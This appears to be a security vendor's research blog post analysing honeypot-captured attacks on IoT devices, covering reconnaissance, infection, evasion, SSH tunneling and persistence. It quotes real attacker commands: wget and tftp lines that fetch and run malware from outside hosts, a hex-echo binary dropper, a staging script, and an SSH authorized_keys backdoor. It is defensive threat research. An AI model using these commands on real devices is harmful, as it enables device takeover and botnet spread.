Poorly secured IoT devices are a threat to home-owner, business, and service provider alike. Strong login credentials and well-designed security helps prevent hackers accessing devices that are increasingly taking control our homes and industry.
Recently, ZD Net reported a hacker published the Telnet credentials of more than 50,000 servers, routers and IoT devices and we’ve previously published research on how attackers can compromise devices in a real case scenario.
The way Avira uses honeypots has been described in this article. Using the honeypot, we can capture and record the second stage of the attack, as the device is compromised.In this article we’ll explore in more detail what actually happens when attackers get access to a device:
Step 1: Gathering information
Before infecting the device, attackers need to explore the set of tools available to them, and better understand the target platform (device). The platform is the combination of operating system and hardware.
Most modems and IoT devices have hardware based on either ARM or MIPS processors. Linux , or OS based on Linux and Android are most commonly found on IoT devices. Because malware that is compiled for a specific platform will not work on another platform, the process of information gathering is essential before an actual infection can be made.
After obtaining shell access, attackers obtain basic information using simple Linux commands. Below comes a portion of an attack which tries to gather some information:
- The command “enable”, when executed without any parameters, provides attackers with a list of available commands.
- By executing commands like “shell” “sh” “linuxshell” “/bin/busybox” the attacker tries to determine the shell executable. For example, executing “shell” command on a device will spawn a shell for attackers when it is available, when not, they will be replied by a message like “Command ‘shell’ not found,“
Or sometimes attackers just execute commands to check if they are available or not:
Another way to find out more about the target platform is to use the command “cat /proc/cpuinfo” as shown below:
|# cat /proc/cpuinfo|
processor : 0
model name : ARMv6-compatible processor rev 7 (v6l)
BogoMIPS : 697.95
Features : half thumb fastmult vfp edsp java tls
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xb76
CPU revision : 7Hardware : BCM2835
Revision : 000e
Serial : 0000000000000000#
What is sent in reply to this command is, in our case, not a real response, but a fake one produced by the honeypot. Of course, none of attacker’s commands are executed on our honeypot, but we reply to them with carefully forged commands to fool the attackers and keep them continuing their penetration. This way we can gather more information on their methods.
Another innovative method to gather information about the target platform that is used by attackers to cat the header of one of the existing binaries on the system and parse the ELF header.
An example of this can be found below:
|/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox|
In this example, they try to upload busybox binary back to extract information from its header or in another example
|cd /tmp; cat .s || cp /bin/echo .s;|
dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s
They do the same thing but targeting another famous binary called echo.
Some attackers gather information on available storage devices on the system, which is essential for gaining persistence on the system:
|# cat /proc/mounts|
/dev/root /rom squashfs ro,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,noatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,noatime 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noatime 0 0
/dev/mtdblock10 /overlay jffs2 rw,noatime 0 0
overlayfs:/overlay / overlay rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work 0 0
tmpfs /dev tmpfs rw,nosuid,relatime,size=512k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,mode=600 0 0
debugfs /sys/kernel/debug debugfs rw,noatime 0 0
Gathering a list of active processes using the commands “ps“:
|# /bin/busybox ps|
PID TTY TIME CMD
6467 pts/0 00:00:00 sh
12013 pts/0 00:00:00 ps
- Sometimes attackers do this to check if the router has already been infected. Making this check avoids potential conflicts caused by re-infecting the same modem.
- They may also do this to find other potential malware and kill that instance, this way they can maintain control.
Another method to obtain information about file system structure is to write a file in a directory and read it back. This way attackers can discover if the directory exists and they have the required permission to access that directory.
|echo -e ‘\x47\x72\x6f\x70/tmp’ > /tmp/.nippon; cat /tmp/.nippon; rm -f /tmp/.nippon|
\x47\x72\x6f\x70 is the ASCII form of the word “Grop“, Therefore above command writes “Grop/tmp” into a file called .nippon inside /tmp and tries to read it. Successfully reading this file means that the /tmp directory exists and the current user has the required access permissions.
- Attackers usually scan a list of available directories on the device to find the best place to drop their malware.
- As they gain more information on the device file system they gain insight into the device. In some cases they can identify the nature of the device (modem, camera etc) and the platform.
Step 2: Infect the device
In most cases, the ultimate purpose of all these hassles is to infect the device with malware.
The most common way to download malware in the device is to use available tools on the device such as TFTP and wget.
|tftp -l.i -r.i -g 18.104.22.168:58879; chmod 777 .i; ./.i|
/bin/busybox wget http://22.214.171.124:80/.xxshit/4_20_gang.arm7 -O – > ESE-GO-VIC; /bin/busybox chmod 777 ESE-GO-VIC
Some scripts choose another reliable approach, echoing malware binary and saving that into a file, effectively writing the malware to the disk byte by byte.
|echo -ne ‘\x7f\x45\x4c\x46\x01\x01\x01\x61\x00\x00\x00\x00\… >> usb_ver;|
chmod +x ./usb_ver;./usb_ver;
- One advantage of this method is that it requires special tools (such as TFTPor wget) to exist on the device: Increased reliability.
- Another advantage of this method is that the malware is transferred in the current session and no new connection is made. This means less chance of being detected or blocked with firewalls or other security mechanisms: Increased stealth.
- However, the downside of using this method is its lack of efficiency. Each byte of malware should be sent in hex format, represented by 4 bytes. 1KB of malware therefore required 4KB of data to be transferred. This, of course, is not a serious problem considering that most of these malware samples are relatively short binaries.
Part three: Evasion
On occasions, instead of directly downloading the malware, it is better to download an intermediary script that is responsible to download the sample. This single added level of indirection will bypass the detection in honeypots that only execute/emulate received commands. For instance:
|wget http://126.96.36.199/wget.sh -O – > wge; chmod 777 wget; ./wge;|
The above commands do not download malware itself, they download the following script and execute:
for file in $files
rm -rf $outfile
rm -rf $outfile
This effectively downloads malware samples compiled for different platforms.
It is also worth paying special attention to the above script. This attacker, instead of getting the information from the target device and selecting the correct malware for the corresponding platform, simply uploads the malware for every popular platform and executes all, hoping for one of them to work. This is another unique type of attack on its own.
Step 3: Redirecting traffic through a compromised device
SSH has a strong type of encryption, meaning that the incoming and outgoing traffic to/from a device (using SSH) cannot be decrypted by anyone but the device itself. This feature would make the device a perfect place for redirecting traffic once access is gained.
- As the traffic is fully encrypted, it is a perfect opportunity to redirect malicious traffic from a device. It makes it difficult to find where is the real origin and destination of the traffic, bringing some sort of anonymity to criminals.
- The encrypted traffic would not be prone to MITM attack or any surveillance, which makes it a perfect opportunity to hide malicious content as well as real origins.
- This is the same functionality that VPNs and proxy servers provide. This way, attackers can use these devices effectively as VPNs or proxy servers by redirecting malicious traffic.
In many cases, when attackers find that a device is prone to SSH Tunneling, the first thing they do is check their public IP address. Doing this, they can confirm that they have established a working route to their destination.
|65507||Tue, 24 Sep 2019 08:52:17 (UTC)||23 (SSH)||188.8.131.52||http://184.108.40.206/multi/check.php|
Step 4: Gaining persistence on the device
The script below was captured on the honeypot. The attacker copies their public key to the authorized keys after successfully logging into the device, effectively guaranteeing their future access. This method enables the attacker to log back into the device even after the current username/password of the SSH protocol is changed by the administrator.
|cat .ssh/authorized_keys|grep -v ‘heVAZUWSKH*truncated*’ >>.ssh/.auth_k;|
echo ‘ssh-rsa AAAAB3NzaC1y*truncated*’ >> .ssh/.auth_k;
mv .ssh/.auth_k .ssh/authorized_keys;
First line of the above script creates a back-up of the keys on the device. It is followed by the second line which concatenated the attacker key to the existing keys on the device and in the last line the authorization keys are replaced with the modified version.
This type of approach is commonly used by attackers intent on compromising IoT devices. Furthermore, this research shows what the attackers can do once they find such IoT devices and how they can use them for malicious purpose.